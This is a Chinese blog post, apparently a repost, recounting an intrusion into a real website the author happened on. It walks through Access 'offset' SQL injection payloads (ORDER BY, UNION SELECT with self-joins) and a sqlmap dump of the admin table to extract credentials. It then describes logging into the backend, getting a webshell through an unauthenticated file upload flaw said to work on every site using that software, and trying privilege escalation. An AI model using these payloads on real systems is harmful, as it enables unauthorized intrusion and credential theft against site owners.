记一次Access偏移注入

栏目: 编程工具 · 发布时间: 5年前

内容简介:一直想找个目标站,练习一下Access的偏移注入,今天遇见个站,用Sqlmap只能跑出来表名,好的就它了。由于列名猜解不出来(后面有猥琐思路),所以使用偏移注入

记一次Access偏移注入

一直想找个目标站,练习一下Access的偏移注入,今天遇见个站,用Sqlmap只能跑出来表名,好的就它了。

已知表名:tbladmin

偏移注入

判断字段数

order by 12

爆出显示位

union select 1,2,3,4,5,6,7,8,9,10,11,12 from tbladmin

使用偏移注入

由于列名猜解不出来(后面有猥琐思路),所以使用偏移注入

union select 1,2,3,4,5,6,7,8,9,10,11,12,* from tbladmin - 报错
union select 1,2,3,4,5,6,7,8,9,10,11,* from tbladmin - 报错
....
union select 1,2,3,4,5,6,7,8,* from tbladmin - 正常

说明了tbladmin表下有8个字段, 代表了所有字段,比如查 tbladmin 表,它有几个字段,那么 就代表几个字段

偏移注入的基本公式

order by 出来的字段数减去 * 号前的字段数,然后再用order by 出来的字段数减去2倍刚才得出来的答案

即 12-8=4 ,12-2*4=4

关于为什么要减去乘2的问题:由于这个(tbladmin as a inner join tbladmin as b on a.id=b.id)是tbladmin表自连接的,这样from 后面的表就会成为字段数加倍的表

这样就可以使 * 代表的字段拓宽,加大账号,密码在显示位出现的几率

union select 1,2,3,4,* from (tbladmin as a inner join tbladmin as b on a.id=b.id)

当前字段数已经为:4+4*2 = 12 = 12,这条语句显然是合法的

记一次Access偏移注入

现在可以看到,只出现了账号admin,我们还需要密码,所以继续打乱顺序

union select 1,2,3,4,a.id,* from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 页面无变化
union select 1,2,3,4,a.id,b.id,* from (tbladmin as a inner join tbladmin as b on a.id=b.id) - admin变成1

这里有个偏移注入的核心问题

当前字段数已经为:4+2+4*2 = 14 > 12,但这条语句却依然是合法的,为什么呢?

因为 a.id 和 b.id 在 * 里是有的,所以计算机会自动去掉重复的, 保持集合里元素的唯一性,这样一来最终查询效果的一样,但是里面字段排列顺序却被打乱了,所以才造成了偏移注入的产生。

目前我们已经进行了两次打乱,但是密码还是没有偏移到可显示的位置,这时,我们就需要继续来打乱顺序

union select a.id,b.id,c.id,* from ((tbladmin as a inner join tbladmin as b on a.id=b.id) inner join tbladmin as c on a.id=c.id)

当前字段数已经为:0+4*3 = 12 = 12,所以这条语句还是合法的

记一次Access偏移注入

继续打乱

union select a.id,b.id,* from ((tbladmin as a inner join tbladmin as b on a.id=b.id) inner join tbladmin as c on a.id=c.id)

记一次Access偏移注入

union select a.id,* from ((tbladmin as a inner join tbladmin as b on a.id=b.id) inner join tbladmin as c on a.id=c.id)

记一次Access偏移注入

至此,成功完成,拿去解密发现,WTF,解不出来。。。:

记一次Access偏移注入

联合注入(猥琐)

有时候渗透的思路真是要猥琐至极才好,我沉思了几分钟之后,灵光一闪,掏出了我的御剑珍藏版,扫出了后台(为什么这里要写出来呢,感觉可以算是一种思路)

看下登陆框源码

凭借我多年老司机的经验,这个名字就有可能是列名了:

记一次Access偏移注入

直接联合查询

union select 1,admin_name,admin_pass,4,5,6,7,8,9,10,11,12 from tbladmin

记一次Access偏移注入

登陆后台+GetShell

但是现在出来依然是admin,直接在Sqlmap里面把表名,列名都指定出来,去dump看看还有没有其他账户

sqlmap.py -u url -T tbladmin -C admin_name,admin_pass --dump

记一次Access偏移注入

发现ljy账户的密码是可以解密的,成功登陆后台,找到一处任意文件上传成功getshell:

{ 顺带说一下,这个文件上传链接固定,且不需要登陆,是一个通杀,凡是使用该程序的站点,基本都可以秒下来。}

记一次Access偏移注入

这次又是个内网的机器,最近遇到的有点多,用了几个新出的exp,提权失败了,反弹msf也没成功。。。暂时放弃

记一次Access偏移注入


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

我是一只IT小小鸟

我是一只IT小小鸟

胡江堂、李成、唐雅薇、秦琴、蒋宇东、刘未鹏、居振梁、刘帅、温卫斌、张弦、张凯峰、庄表伟、宋劲杉、程露、黄小明、易晓东、简朝阳、林健、高昂、徐宥、辜新星 / 电子工业出版社 / 2009 / 29.80

一群IT小小鸟—— 来自十几所院校,或男生,或女生;或科班,或半路转行。 分布在不同的公司,或外企,或国企,或民企,老板有土有洋。 有失意,有快意;有泪水,有欢笑。在失望中追求希望,在迷茫中辨别方向。 他们用自己的成长故事,告诉在校的师弟师妹们: 青春太宝贵,千万别浪费;要想不浪费,万事早准备。一起来看看 《我是一只IT小小鸟》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器